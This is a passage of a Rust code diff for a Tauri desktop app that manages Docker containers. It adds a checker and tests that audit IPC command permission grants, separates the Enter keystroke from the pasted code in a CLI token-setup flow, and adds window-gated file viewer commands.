"{name}: app.security.capabilities is not allowed; every capability lives in a \
top-level capabilities/*.json file, where the census checks it"
)),
}
}
/// Everything that must hold between the handler list and the capability files. Returns every
/// violation rather than the first, so a batch of forgotten grants is one build failure; an
/// empty vector is a pass.
pub fn check(commands: &[String], files: &[CapabilityFile]) -> Vec<String> {
let mut problems = Vec::new();
if commands.is_empty() {
problems.push(
"no commands were parsed out of generate_handler! — an empty AppManifest would \
silently leave every app command ungated"
.to_string(),
);
return problems;
}
let mut seen: BTreeSet<&str> = BTreeSet::new();
for c in commands {
if !c.bytes().all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'_') {
problems.push(format!("{c:?} is not a command name ([a-z0-9_]+)"));
}
if !seen.insert(c.as_str()) {
problems.push(format!("{c} is registered more than once"));
}
}
let known: BTreeMap<String, &str> =
seen.iter().map(|c| (allow_permission(c), *c)).collect();
for f in files {
let windows: Vec<&str> = f.windows.iter().map(String::as_str).collect();
for id in &f.bare {
match known.get(id) {
Some(command) => {
let want = expected_windows(command);
if windows.as_slice() != want {
problems.push(format!(
"{}: {id} must be granted in the capability file whose windows are \
{want:?}, not {windows:?}",
f.name
));
}
}
None if id.starts_with("deny-") => problems.push(format!(
"{}: {id}: deny-* is global in tauri 2.11 — it would deny the command for \
every window, not just this one; use allow-lists only",
f.name
)),
None if id.starts_with("allow-") => problems.push(format!(
"{}: {id} names no registered command (the identifier is allow-<command> \
with every `_` replaced by `-`)",
f.name
)),
None => problems.push(format!(
"{}: {id}: only allow-<command> app grants are permitted as bare identifiers",
f.name
)),
}
}
}
for c in &seen {
let id = allow_permission(c);
let holders: Vec<&str> = files
.iter()
.filter(|f| f.bare.iter().any(|b| b == &id))
.map(|f| f.name.as_str())
.collect();
match holders.len() {
0 => problems.push(format!(
"{c} is registered but no capability file grants {id}; add it to the file \
whose windows are {:?}",
expected_windows(c)
)),
1 => {}
_ => problems.push(format!(
"{id} is granted in more than one capability file: {holders:?}"
)),
}
}
problems
}
#[cfg(test)]
mod tests {
use super::*;
fn cmds(names: &[&str]) -> Vec<String> {
names.iter().map(|n| n.to_string()).collect()
}
fn file(name: &str, windows: &[&str], bare: &[&str]) -> CapabilityFile {
CapabilityFile {
name: name.to_string(),
windows: windows.iter().map(|w| w.to_string()).collect(),
bare: bare.iter().map(|b| b.to_string()).collect(),
}
}
/// The two files as they must look after the lockdown, for a three-command app.
fn good_files() -> Vec<CapabilityFile> {
vec![
file("default.json", &["main"], &["allow-check-docker", "allow-open-file-viewer"]),
file("file-viewer.json", &["file-viewer-*"], &["allow-viewer-read-file"]),
]
}
const THREE: &[&str] = &["check_docker", "open_file_viewer", "viewer_read_file"];
#[test]
fn the_parser_reads_the_handler_list_in_order_and_ignores_comments() {
let lib_rs = r#"
.invoke_handler(tauri::generate_handler![
// Docker
commands::docker_commands::check_docker,
commands::docker_commands::build_image, // trailing comment is not a command
url_open::open_url_external,
// Viewer
commands::file_viewer_commands::viewer_read_file
])
.run(tauri::generate_context!())
"#;
assert_eq!(
registered_commands(lib_rs).unwrap(),
cmds(&["check_docker", "build_image", "open_url_external", "viewer_read_file"])
);
}
#[test]
fn the_parser_keeps_duplicates_so_the_caller_can_report_them() {
let lib_rs = "generate_handler![\n a::x,\n b::x,\n])";
assert_eq!(registered_commands(lib_rs).unwrap(), cmds(&["x", "x"]));
}
#[test]
fn the_parser_returns_none_without_a_handler_block() {
assert_eq!(registered_commands("fn main() {}"), None);
assert_eq!(registered_commands("generate_handler![ a::b, "), None, "unterminated");
}
/// The bug this regression-tests: a line-split parser applies `rsplit("::").next()` once
/// per *line*, so two commands sharing a line collapse into one item and the first is
/// silently dropped. Comma-splitting must keep both regardless of layout.
#[test]
fn two_commands_on_one_line_are_both_kept() {
let lib_rs = "generate_handler![\n a::x, b::y,\n])";
assert_eq!(registered_commands(lib_rs).unwrap(), cmds(&["x", "y"]));
}
/// Mirrors the real `lib.rs` handler list's shape: `// Section` comments between groups,
/// and command paths one (`open_url_external`), two (`url_open::open_url_external`) and
/// three (`commands::docker_commands::check_docker`) segments deep, all ending in a comma
/// except the last entry before `])`.
#[test]
fn a_fixture_shaped_like_the_real_handler_list_parses_every_command() {
let lib_rs = r#"
.invoke_handler(tauri::generate_handler![
// Docker
commands::docker_commands::check_docker,
commands::docker_commands::build_image,
// Opening a link in the host browser
url_open::open_url_external,
// Bare, module-less command
open_help,
// Terminal file viewer
commands::file_viewer_commands::viewer_read_file
])
.run(tauri::generate_context!())
"#;
assert_eq!(
registered_commands(lib_rs).unwrap(),
cmds(&[
"check_docker",
"build_image",
"open_url_external",
"open_help",
"viewer_read_file",
])
);
}
#[test]
fn permission_identifiers_replace_only_underscores() {
assert_eq!(allow_permission("check_docker"), "allow-check-docker");
assert_eq!(allow_permission("viewer_read_file"), "allow-viewer-read-file");
assert_eq!(allow_permission("aws_sso_refresh"), "allow-aws-sso-refresh");
}
#[test]
fn viewer_commands_belong_to_the_viewer_windows_and_nothing_else_does() {
assert_eq!(expected_windows("viewer_read_file"), ["file-viewer-*"]);
assert_eq!(expected_windows("open_file_viewer"), ["main"]);
assert_eq!(expected_windows("check_docker"), ["main"]);
}
#[test]
fn a_capability_file_yields_its_windows_and_bare_grants_only() {
let json = r#"{
"identifier": "default",
"description": "x",
"windows": ["main"],
"permissions": [
"core:event:allow-listen",
{ "identifier": "fs:allow-read", "allow": [{ "path": "$APPDATA/*" }] },
"allow-check-docker",
{ "identifier": "allow-list-projects" }
]
}"#;
let parsed = capability_file("default.json", json).unwrap();
assert_eq!(parsed.name, "default.json");
assert_eq!(parsed.windows, vec!["main"]);
assert_eq!(parsed.bare, vec!["allow-check-docker", "allow-list-projects"]);
}
#[test]
fn a_capability_file_without_windows_or_permissions_is_an_error() {
assert!(capability_file("x.json", r#"{"permissions": []}"#).unwrap_err().contains("windows"));
assert!(capability_file("x.json", r#"{"windows": ["main"]}"#).unwrap_err().contains("permissions"));
assert!(capability_file("x.json", "not json").unwrap_err().contains("x.json"));
}
#[test]
fn webviews_and_remote_keys_are_refused() {
let with = |extra: &str| {
format!(r#"{{"windows": ["main"], {extra}, "permissions": ["allow-check-docker"]}}"#)
};
let err = capability_file("d.json", &with(r#""webviews": ["browser-view-*"]"#)).unwrap_err();
assert!(err.contains("d.json") && err.contains("`webviews`"), "{err}");
let err = capability_file("d.json", &with(r#""remote": {"urls": ["https://*"]}"#)).unwrap_err();
assert!(err.contains("`remote`"), "{err}");
// Present-but-empty is still refused: the key itself is the widening surface.
assert!(capability_file("d.json", &with(r#""webviews": []"#)).is_err());
}
#[test]
fn only_top_level_json_files_are_capabilities() {
assert_eq!(stray_capability_entry("default.json", true), None);
for name in ["extra.toml", "extra.json5", "notes.txt", ".DS_Store"] {
let err = stray_capability_entry(name, true).expect(name);
assert!(err.contains(name) && err.contains("not a .json file"), "{err}");
}
let err = stray_capability_entry("sub", false).unwrap();
assert!(err.contains("capabilities/sub") && err.contains("not a regular file"), "{err}");
// A directory named like a capability is still a directory.
assert!(stray_capability_entry("x.json", false).is_some());
}
#[test]
fn os_junk_is_recognised_but_never_something_tauri_would_load() {
for junk in [".DS_Store", "Thumbs.db", "desktop.ini", ".default.json.swp", ".x.swo", "default.json~"] {
assert!(is_os_junk(junk), "{junk}");
}
for real in ["default.json", "x.toml", "x.json5", ".#default.json", "._default.json", "notes.txt", "extra"] {
assert!(!is_os_junk(real), "{real}");
}
}
#[test]
fn tauri_config_files_are_found_by_name_and_format() {
assert_eq!(tauri_config_file("tauri.conf.json"), Some(true));
assert_eq!(tauri_config_file("tauri.linux.conf.json"), Some(true));
assert_eq!(tauri_config_file("tauri.conf.json5"), Some(false));
assert_eq!(tauri_config_file("tauri.windows.conf.json5"), Some(false));
assert_eq!(tauri_config_file("Tauri.toml"), Some(false));
assert_eq!(tauri_config_file("Tauri.macos.toml"), Some(false));
assert_eq!(tauri_config_file("Cargo.toml"), None);
assert_eq!(tauri_config_file("build.rs"), None);
}
#[test]
fn inline_capabilities_in_the_tauri_config_are_refused() {
let ok = r#"{"app": {"security": {"csp": "default-src 'self'"}}}"#;
assert_eq!(tauri_config_problem("tauri.conf.json", ok), None);
assert_eq!(tauri_config_problem("t", r#"{"app": {"security": {"capabilities": []}}}"#), None);
assert_eq!(tauri_config_problem("t", r#"{"build": {"beforeBuildCommand": ""}}"#), None);
let inline = r#"{"app": {"security": {"capabilities": [
{"identifier": "x", "windows": ["file-viewer-*"], "permissions": ["allow-read-container-file"]}
]}}}"#;
let err = tauri_config_problem("tauri.conf.json", inline).unwrap();
assert!(err.contains("tauri.conf.json") && err.contains("app.security.capabilities"), "{err}");
let by_name = r#"{"app": {"security": {"capabilities": ["default"]}}}"#;
assert!(tauri_config_problem("TAURI_CONFIG", by_name).unwrap().contains("TAURI_CONFIG"));
assert!(tauri_config_problem("t", "{").unwrap().contains("not valid JSON"));
}
#[test]
fn a_correct_census_has_no_problems() {
assert_eq!(check(&cmds(THREE), &good_files()), Vec::<String>::new());
}
#[test]
fn an_empty_command_list_is_refused_because_it_would_disable_the_acl() {
let problems = check(&[], &good_files());
assert_eq!(problems.len(), 1);
assert!(problems[0].contains("no commands"), "{problems:?}");
}
#[test]
fn a_command_without_a_grant_is_named_together_with_the_file_it_belongs_in() {
let files = vec![
file("default.json", &["main"], &["allow-check-docker"]),
file("file-viewer.json", &["file-viewer-*"], &["allow-viewer-read-file"]),
];
let problems = check(&cmds(THREE), &files);
assert_eq!(problems.len(), 1, "{problems:?}");
assert!(problems[0].contains("open_file_viewer"));
assert!(problems[0].contains("allow-open-file-viewer"));
assert!(problems[0].contains("[\"main\"]"));
}
#[test]
fn a_grant_in_two_files_is_reported_once_naming_both() {
let files = vec![
file("default.json", &["main"], &["allow-check-docker", "allow-open-file-viewer"]),
file("extra.json", &["main"], &["allow-check-docker"]),
file("file-viewer.json", &["file-viewer-*"], &["allow-viewer-read-file"]),
];
let problems = check(&cmds(THREE), &files);
assert_eq!(problems.len(), 1, "{problems:?}");
assert!(problems[0].contains("allow-check-docker"));
assert!(problems[0].contains("default.json") && problems[0].contains("extra.json"));
}
#[test]
fn a_grant_that_names_no_command_is_a_typo() {
let mut files = good_files();
files[0].bare.push("allow-check-dokcer".to_string());
let problems = check(&cmds(THREE), &files);
assert_eq!(problems.len(), 1, "{problems:?}");
assert!(problems[0].contains("default.json: allow-check-dokcer"));
assert!(problems[0].contains("no registered command"));
}
#[test]
fn deny_grants_are_refused_with_the_reason() {
let mut files = good_files();
files[1].bare.push("deny-check-docker".to_string());
let problems = check(&cmds(THREE), &files);
assert_eq!(problems.len(), 1, "{problems:?}");
assert!(problems[0].contains("file-viewer.json: deny-check-docker"));
assert!(problems[0].contains("global"));
}
#[test]
fn other_bare_identifiers_are_refused() {
let mut files = good_files();
files[0].bare.push("default".to_string());
let problems = check(&cmds(THREE), &files);
assert_eq!(problems.len(), 1, "{problems:?}");
assert!(problems[0].contains("default.json: default"));
}
#[test]
fn a_grant_in_the_wrong_file_is_refused_even_though_it_is_granted_exactly_once() {
let files = vec![
file("default.json", &["main"], &["allow-check-docker", "allow-open-file-viewer", "allow-viewer-read-file"]),
file("file-viewer.json", &["file-viewer-*"], &[]),
];
let problems = check(&cmds(THREE), &files);
assert_eq!(problems.len(), 1, "{problems:?}");
assert!(problems[0].contains("allow-viewer-read-file"));
assert!(problems[0].contains("[\"file-viewer-*\"]"));
}
#[test]
fn a_widened_windows_list_is_the_wrong_file_too() {
let files = vec![
file("default.json", &["main", "file-viewer-*"], &["allow-check-docker", "allow-open-file-viewer"]),
file("file-viewer.json", &["file-viewer-*"], &["allow-viewer-read-file"]),
];
let problems = check(&cmds(THREE), &files);
assert_eq!(problems.len(), 2, "{problems:?}");
}
#[test]
fn bad_names_and_duplicate_registrations_are_refused() {
let commands = cmds(&["check_docker", "Check-Docker", "check_docker", "open_file_viewer", "viewer_read_file"]);
let problems = check(&commands, &good_files());
assert!(problems.iter().any(|p| p.contains("\"Check-Docker\"") && p.contains("[a-z0-9_]+")), "{problems:?}");
assert!(problems.iter().any(|p| p.contains("check_docker is registered more than once")), "{problems:?}");
}
#[test]
fn every_problem_is_reported_in_one_pass() {
let files = vec![
file("default.json", &["main"], &["allow-check-docker", "allow-nope", "deny-check-docker"]),
file("file-viewer.json", &["file-viewer-*"], &[]),
];
let problems = check(&cmds(THREE), &files);
// typo, deny, open_file_viewer missing, viewer_read_file missing
assert_eq!(problems.len(), 4, "{problems:?}");
}
}
@@ -106,6 +106,16 @@ const CODE_REJECTED_EVENT: &str = "claude-token-code-rejected";
/// browser, sign in, and approve. Bounded so a wedged exec can't leak a task.
const SETUP_TIMEOUT: Duration = Duration::from_secs(15 * 60);
/// Pause between typing the pasted code and pressing Enter.
///
/// The CLI's prompt reads a multi-byte chunk as a paste, and a `\r` inside a
/// paste is swallowed with it rather than submitting. Code and Enter in one
/// write therefore fill the prompt and submit nothing, and the flow waits out
/// [`SETUP_TIMEOUT`]. Measured against 2.1.283 under a pty: 20 ms apart
/// already submits reliably; this leaves headroom for the extra hops through
/// Docker's exec socket, which can merge writes that arrive close together.
pub(crate) const SUBMIT_ENTER_DELAY: Duration = Duration::from_millis(250);
/// Documented shape of a `setup-token` credential.
const TOKEN_PREFIX: &str = "sk-ant-oat01-";
@@ -611,7 +621,7 @@ const MAX_ANSI_CARRY: usize = 64 * 1024;
/// Stateful wrapper around [`strip_ansi_prefix`] that carries an incomplete
/// trailing sequence over to the next chunk.
#[derive(Default)]
struct AnsiStripper {
pub(crate) struct AnsiStripper {
carry: Vec<u8>,
/// OSC 8 link targets seen since the last [`AnsiStripper::take_links`].
/// Kept out of the return value so every existing caller and test of
@@ -620,7 +630,7 @@ struct AnsiStripper {
}
impl AnsiStripper {
fn push(&mut self, chunk: &[u8]) -> String {
pub(crate) fn push(&mut self, chunk: &[u8]) -> String {
self.carry.extend_from_slice(chunk);
let (mut out, links, consumed) = strip_ansi_prefix(&self.carry);
self.record_links(links);
@@ -634,7 +644,7 @@ impl AnsiStripper {
// fresh chunk, which re-enters here.
if self.carry.len() > MAX_ANSI_CARRY {
log::warn!(
"`claude setup-token` emitted an unterminated control sequence \
"the command emitted an unterminated control sequence \
longer than {} bytes — treating it as text",
MAX_ANSI_CARRY
);
@@ -724,7 +734,7 @@ const REJECTION_SCAN_WINDOW: usize = 4096;
const CODE_REJECTED_MARKERS: &[&str] = &["invalid code", "press enter to retry"];
/// Append `chunk` to `buf`, keeping no more than `cap` bytes of the tail.
fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) {
pub(crate) fn push_capped_tail(buf: &mut String, chunk: &str, cap: usize) {
buf.push_str(chunk);
if buf.len() <= cap {
return;
@@ -837,9 +847,23 @@ unset CLAUDE_CODE_OAUTH_TOKEN ANTHROPIC_API_KEY ANTHROPIC_AUTH_TOKEN ANTHROPIC_B
ANTHROPIC_MODEL CLAUDE_CODE_USE_BEDROCK AWS_BEARER_TOKEN_BEDROCK
exec claude setup-token"#;
/// Type `code` into the CLI's prompt, then press Enter as a separate keystroke.
///
/// See [`SUBMIT_ENTER_DELAY`] for why the two cannot share a write.
async fn type_code_then_enter<W: tokio::io::AsyncWrite + Unpin>(
input: &mut W,
code: &[u8],
) -> std::io::Result<()> {
input.write_all(code).await?;
input.flush().await?;
tokio::time::sleep(SUBMIT_ENTER_DELAY).await;
input.write_all(b"\r").await?;
input.flush().await
}
/// Run `claude setup-token` in the container and return the token it printed.
/// Streams redacted output as it arrives and forwards anything arriving on
/// `input_rx` (the user's pasted code) to the command's stdin.
/// `input_rx` (the user's pasted code) to the command's stdin, each followed by Enter.
async fn run_setup_token(
app: &AppHandle,
project_id: &str,
@@ -894,14 +918,13 @@ async fn run_setup_token(
"Authentication cancelled. No token was stored.".to_string()
);
}
Some(data) = input_rx.recv() => {
if let Err(e) = input.write_all(&data).await {
Some(code) = input_rx.recv() => {
if let Err(e) = type_code_then_enter(&mut input, &code).await {
return Err(format!(
"Could not send the code to `claude setup-token`: {}. No token was stored.",
e
));
}
let _ = input.flush().await;
// Arm the rejection detector. Anything the CLI says from here
// on is a verdict on *this* code.
awaiting_code_result = true;
@@ -1158,10 +1181,9 @@ pub async fn submit_claude_token_code(code: String) -> Result<(), String> {
.to_string()
})?;
let mut keystrokes = code.as_bytes().to_vec();
keystrokes.push(b'\r');
// Just the code: the flow presses Enter itself, as a separate keystroke.
sender
.send(keystrokes)
.send(code.as_bytes().to_vec())
.map_err(|_| "The authentication flow has already ended.".to_string())
}
@@ -2229,4 +2251,50 @@ mod tests {
assert_eq!(outcome.snapshots_skipped.len(), 1, "{:?}", outcome);
assert!(outcome.snapshots_failed.is_empty(), "{:?}", outcome);
}
/// Records every `poll_write` as a separate entry, with when it landed, so
/// a test can see write boundaries that a byte pipe would merge.
#[derive(Default)]
struct RecordingWriter {
writes: Vec<(tokio::time::Instant, Vec<u8>)>,
}
impl tokio::io::AsyncWrite for RecordingWriter {
fn poll_write(
mut self: std::pin::Pin<&mut Self>,
_cx: &mut std::task::Context<'_>,
buf: &[u8],
) -> std::task::Poll<std::io::Result<usize>> {
self.writes
.push((tokio::time::Instant::now(), buf.to_vec()));
std::task::Poll::Ready(Ok(buf.len()))
}
fn poll_flush(
self: std::pin::Pin<&mut Self>,
_cx: &mut std::task::Context<'_>,
) -> std::task::Poll<std::io::Result<()>> {
std::task::Poll::Ready(Ok(()))
}
fn poll_shutdown(
self: std::pin::Pin<&mut Self>,
_cx: &mut std::task::Context<'_>,
) -> std::task::Poll<std::io::Result<()>> {
std::task::Poll::Ready(Ok(()))
}
}
/// Code and Enter in one write is read by the CLI as a paste: the code
/// fills the prompt and the `\r` is swallowed with it, so nothing is
/// submitted and the flow sits until `SETUP_TIMEOUT`. Measured against
/// 2.1.283 under a pty; a separate Enter 20 ms later submits.
#[tokio::test(start_paused = true)]
async fn the_code_and_its_enter_are_separate_writes() {
let mut w = RecordingWriter::default();
type_code_then_enter(&mut w, b"abc#def").await.unwrap();
assert_eq!(w.writes.len(), 2, "expected two writes, got {:?}", w.writes);
assert_eq!(w.writes[0].1, b"abc#def");
assert_eq!(w.writes[1].1, b"\r");
assert!(w.writes[1].0 - w.writes[0].0 >= SUBMIT_ENTER_DELAY);
}
}
+19 -14
View File
@@ -46,7 +46,7 @@ pub struct FileContents {
/// Hard ceiling on a single viewer read, whatever the caller asks for. The tar
/// path buffers the whole payload in host RAM, so a caller-supplied cap is not
/// something to take on trust.
const MAX_READ_BYTES: u64 = 8 * 1024 * 1024;
pub(crate) const MAX_READ_BYTES: u64 = 8 * 1024 * 1024;
#[tauri::command]
pub async fn list_container_files(
@@ -352,7 +352,7 @@ const CONTAINER_WRITE_ROOTS: &[&str] = &["/workspace", "/home/claude", "/tmp"];
///
/// `what` names the parameter in the error, because these messages are shown to
/// a user who is looking at a folder, not at argv.
fn validate_container_path(what: &str, path: &str) -> Result<(), String> {
pub(crate) fn validate_container_path(what: &str, path: &str) -> Result<(), String> {
if path.is_empty() {
return Err(format!("{} path cannot be empty", what));
}
@@ -394,7 +394,7 @@ fn validate_container_path(what: &str, path: &str) -> Result<(), String> {
/// directly. What it buys is that the *panel* keeps its promise — the roots
/// named in the refusal are the roots it writes to — and that a mis-aimed drop
/// cannot quietly land outside them.
fn validate_container_write_path(what: &str, path: &str) -> Result<(), String> {
pub(crate) fn validate_container_write_path(what: &str, path: &str) -> Result<(), String> {
validate_container_path(what, path)?;
if CONTAINER_WRITE_ROOTS
.iter()
@@ -1178,12 +1178,12 @@ fn push_capped(buf: &mut String, frame: &[u8]) {
}
/// One regular file's bytes, pulled out of a container.
struct FetchedFile {
bytes: Vec<u8>,
pub(crate) struct FetchedFile {
pub(crate) bytes: Vec<u8>,
/// The size the tar header declared, i.e. the file's real size — which is
/// not `bytes.len()` once `max_bytes` has cut the read short.
size: u64,
truncated: bool,
pub(crate) size: u64,
pub(crate) truncated: bool,
}
/// Fetch a single regular file from a container as exact bytes.
@@ -1202,7 +1202,7 @@ struct FetchedFile {
/// file — or the whole *directory tree*, since the type check happens after the
/// read — landed in host RAM twice. This function buffers, so every caller of
/// it must name a ceiling.
async fn fetch_container_file(
pub(crate) async fn fetch_container_file(
container_id: &str,
container_path: &str,
max_bytes: u64,
@@ -1448,6 +1448,14 @@ pub async fn create_container_directory(
Ok(dest)
}
/// Every "container is not running" refusal starts with this, so a caller (the file
/// viewer's poll, `app/src/viewer/ipcMessages.ts`) can tell it apart from any other failure.
pub(crate) const NOT_RUNNING_PREFIX: &str = "Start the project before";
pub(crate) fn not_running_message(action: &str, why: &str) -> String {
format!("{} {} — {}.", NOT_RUNNING_PREFIX, action, why)
}
/// Refuse, in a sentence, before a Docker error has to speak for us.
///
/// Both file transfers and the backup run through `docker exec`, which needs a
@@ -1456,7 +1464,7 @@ pub async fn create_container_directory(
/// upload it surfaces even less usefully: `resolve_container_dir`'s `realpath`
/// is the first thing to touch the container, so a stopped project fails inside
/// path *validation* and reads like the path was the problem.
async fn require_running(container_id: &str, action: &str) -> Result<(), String> {
pub(crate) async fn require_running(container_id: &str, action: &str) -> Result<(), String> {
let docker = get_docker()?;
let running = docker
.inspect_container(container_id, None)
@@ -1468,10 +1476,7 @@ async fn require_running(container_id: &str, action: &str) -> Result<(), String>
if running {
return Ok(());
}
Err(format!(
"Start the project before {} — it runs inside the running container.",
action
))
Err(not_running_message(action, "it runs inside the running container"))
}
/// Copy one regular file out of a container onto a host path the user chose in
@@ -2011,7 +2016,7 @@ async fn upload_one(
/// call site for why each of those three matters; the short version is that
/// this text ends up inside a toast that renders above every modal, and its
/// author is the container.
fn clip_container_text(text: &str) -> String {
pub(crate) fn clip_container_text(text: &str) -> String {
const MAX: usize = 200;
let flattened: String = text
.trim()
@@ -0,0 +1,365 @@
//! IPC for the terminal file viewer. Every command here is gated on the calling
//! window's label and reads its target from the registry — no path, no label, no
//! project id crosses IPC from a viewer window. See spec §6.
use base64::engine::general_purpose::STANDARD as BASE64;
use base64::Engine as _;
use serde::Serialize;
use tauri::{AppHandle, Emitter, Manager, State};
use crate::commands::file_commands::{
fetch_container_file, not_running_message, require_running, validate_container_write_path, MAX_READ_BYTES,
};
use crate::file_viewer::is_viewer_label;
use crate::file_viewer::poll::{poll_file, ViewerPoll};
use crate::file_viewer::registry::{
Choice, Location, Reservation, ViewerRegistry, ViewerTarget, ViewerTargetState,
};
use crate::file_viewer::resolve::{candidate_paths, probe_candidates};
use crate::file_viewer::window::open_viewer_window;
use crate::file_viewer::write::{sha256_hex, write_file, SavedFile, MAX_WRITE_BYTES};
use crate::models::Project;
use crate::AppState;
pub const GOTO_EVENT: &str = "file-viewer-goto";
#[derive(Clone, Debug, Serialize)]
pub struct ViewerState {
pub project_id: String,
pub project_name: String,
pub raw_path: String,
pub state: ViewerTargetState,
pub initial: Location,
}
#[derive(Clone, Debug, Serialize)]
pub struct ViewerFile {
pub contents_base64: String,
pub truncated: bool,
pub size: u64,
pub hash: String,
pub editable: bool,
pub readonly_reason: Option<String>,
}
fn require_main(window_label: &str) -> Result<(), String> {
if window_label == "main" {
Ok(())
} else {
Err("Only the main window can open files.".into())
}
}
fn require_viewer(window_label: &str) -> Result<String, String> {
if is_viewer_label(window_label) {
Ok(window_label.to_string())
} else {
Err("This command belongs to a file window.".into())
}
}
fn viewer_state_of(_label: &str, target: ViewerTarget) -> ViewerState {
ViewerState {
project_id: target.project_id,
project_name: target.project_name,
raw_path: target.raw_path,
state: target.state,
initial: target.initial,
}
}
fn window_title(raw_path: &str, project_name: &str) -> String {
let base = raw_path.trim_end_matches('/').rsplit('/').next().unwrap_or(raw_path);
format!("{} — {}", base, project_name)
}
/// Refuses a save payload before decoding it: base64 of at most
/// [`MAX_WRITE_BYTES`] is at most `4 * ceil(MAX_WRITE_BYTES / 3)` characters.
/// `write_file` enforces the cap on the decoded bytes too; this stops a
/// compromised viewer from making the app allocate and decode an arbitrarily
/// large string first.
fn check_encoded_len(encoded_len: usize) -> Result<(), String> {
if encoded_len > MAX_WRITE_BYTES.div_ceil(3) * 4 {
return Err("Files over 1 MiB are read-only in the viewer.".into());
}
Ok(())
}
/// The caller's registry entry, or a sentence.
fn own_target(
window: &tauri::Window,
registry: &ViewerRegistry,
) -> Result<(String, ViewerTarget), String> {
let label = require_viewer(window.label())?;
let target = registry
.get(&label)
.ok_or_else(|| "This file window is no longer registered.".to_string())?;
Ok((label, target))
}
fn resolved_path(target: &ViewerTarget) -> Result<String, String> {
match &target.state {
ViewerTargetState::Resolved { container_path } => Ok(container_path.clone()),
_ => Err("Choose a file first.".into()),
}
}
/// The one place a viewer command looks up its project (P14).
fn project_of(state: &AppState, project_id: &str) -> Result<Project, String> {
state
.projects_store
.get(project_id)
.ok_or_else(|| "This project no longer exists.".to_string())
}
/// `action` completes "Start the project before …", e.g. "saving this file".
async fn running_container_of(project: &Project, action: &str) -> Result<String, String> {
let container_id = project
.container_id
.clone()
.ok_or_else(|| not_running_message(action, "files live in its container"))?;
require_running(&container_id, action).await?;
Ok(container_id)
}
/// The container of the project a viewer window belongs to, if it is running.
async fn running_container_for(
state: &AppState,
target: &ViewerTarget,
action: &str,
) -> Result<String, String> {
running_container_of(&project_of(state, &target.project_id)?, action).await
}
/// Raises an existing viewer window and moves it to `location`.
fn focus_viewer(app: &AppHandle, label: &str, location: Location) {
if let Some(existing) = app.get_webview_window(label) {
let _ = existing.unminimize();
let _ = existing.set_focus();
let _ = app.emit_to(label, GOTO_EVENT, location);
}
}
// Nine parameters are fixed by the IPC contract (P10); four injected by Tauri.
#[allow(clippy::too_many_arguments)]
#[tauri::command]
pub async fn open_file_viewer(
project_id: String,
path: String,
line: Option<u32>,
col: Option<u32>,
end_line: Option<u32>,
window: tauri::Window,
app: AppHandle,
registry: State<'_, ViewerRegistry>,
state: State<'_, AppState>,
) -> Result<(), String> {
require_main(window.label())?;
let project = project_of(&state, &project_id)?;
let container_id = running_container_of(&project, "opening files").await?;
let mounts: Vec<String> = project.paths.iter().map(|p| p.mount_name.clone()).collect();
let candidates = candidate_paths(&path, &mounts)?;
let matches = probe_candidates(&container_id, &candidates).await?;
let initial = Location { line, col, end_line };
let target_state = match matches.len() {
0 => ViewerTargetState::NotFound { tried: candidates },
1 => ViewerTargetState::Resolved { container_path: matches[0].clone() },
_ => ViewerTargetState::Choose { candidates: matches },
};
let title = window_title(&path, &project.name);
let target = ViewerTarget {
project_id,
project_name: project.name.clone(),
raw_path: path,
state: target_state,
initial: initial.clone(),
};
// Dedupe, stale pruning and the cap are one registry call, so a second click
// while the first window is still being built finds it rather than reading
// its not-yet-existing window as stale.
let label = match registry.reserve(target, |l| app.get_webview_window(l).is_some())? {
Reservation::Reserved(label) => label,
// Still being built: it opens at its own location in a moment.
Reservation::Existing { built: false, .. } => return Ok(()),
Reservation::Existing { label, built: true } => {
focus_viewer(&app, &label, initial);
return Ok(());
}
};
if let Err(e) = open_viewer_window(&app, &label, &title) {
registry.remove(&label);
return Err(e);
}
registry.mark_built(&label);
Ok(())
}
#[tauri::command]
pub async fn viewer_get_state(
window: tauri::Window,
registry: State<'_, ViewerRegistry>,
) -> Result<ViewerState, String> {
let (label, target) = own_target(&window, &registry)?;
Ok(viewer_state_of(&label, target))
}
#[tauri::command]
pub async fn viewer_choose_file(
index: usize,
window: tauri::Window,
registry: State<'_, ViewerRegistry>,
) -> Result<ViewerState, String> {
let (label, target) = own_target(&window, &registry)?;
let chosen = match &target.state {
ViewerTargetState::Choose { candidates } => candidates
.get(index)
.cloned()
.ok_or_else(|| "That choice is no longer available.".to_string())?,
_ => return Err("This window is not choosing a file.".into()),
};
let app = window.app_handle();
match registry.choose(&label, chosen, |l| app.get_webview_window(l).is_some())? {
Choice::Resolved(updated) => Ok(viewer_state_of(&label, updated)),
// Another window already has this file. This window was only ever a
// chooser, so hand over to that one and close this one, as a second
// click on the same path would have. The error is what this window
// shows if the destroy fails.
Choice::AlreadyOpen { label: other, .. } => {
focus_viewer(app, &other, target.initial);
let _ = window.destroy();
Err("This file is already open in another window.".into())
}
}
}
#[tauri::command]
pub async fn viewer_read_file(
max_bytes: u64,
window: tauri::Window,
registry: State<'_, ViewerRegistry>,
state: State<'_, AppState>,
) -> Result<ViewerFile, String> {
let (_label, target) = own_target(&window, &registry)?;
let path = resolved_path(&target)?;
let container_id = running_container_for(&state, &target, "opening files").await?;
let cap = max_bytes.clamp(1, MAX_READ_BYTES);
let fetched = fetch_container_file(&container_id, &path, cap).await?;
let (editable, readonly_reason) = match validate_container_write_path("File", &path) {
Ok(()) => (true, None),
Err(reason) => (false, Some(reason)),
};
Ok(ViewerFile {
hash: sha256_hex(&fetched.bytes),
contents_base64: BASE64.encode(&fetched.bytes),
truncated: fetched.truncated,
size: fetched.size,
editable,
readonly_reason,
})
}
#[tauri::command]
pub async fn viewer_poll_file(
window: tauri::Window,
registry: State<'_, ViewerRegistry>,
state: State<'_, AppState>,
) -> Result<ViewerPoll, String> {
let (_label, target) = own_target(&window, &registry)?;
let path = resolved_path(&target)?;
let container_id = running_container_for(&state, &target, "checking this file for changes").await?;
poll_file(&container_id, &path).await
}
/// Errors from `write_file` pass through unchanged: the frontend matches the
/// `write::CONFLICT_PREFIX`/`GONE_PREFIX` prefixes and `READ_ONLY_MESSAGE` (TS copies in
/// `app/src/viewer/ipcMessages.ts`), and anything else (a full disk) is already a
/// sentence it shows as is. Success is a `SavedFile`: the new base hash and the hash
/// the disk held right after the swap.
#[tauri::command]
pub async fn viewer_write_file(
contents_base64: String,
base_hash: String,
window: tauri::Window,
registry: State<'_, ViewerRegistry>,
state: State<'_, AppState>,
) -> Result<SavedFile, String> {
let (_label, target) = own_target(&window, &registry)?;
let path = resolved_path(&target)?;
validate_container_write_path("File", &path)?;
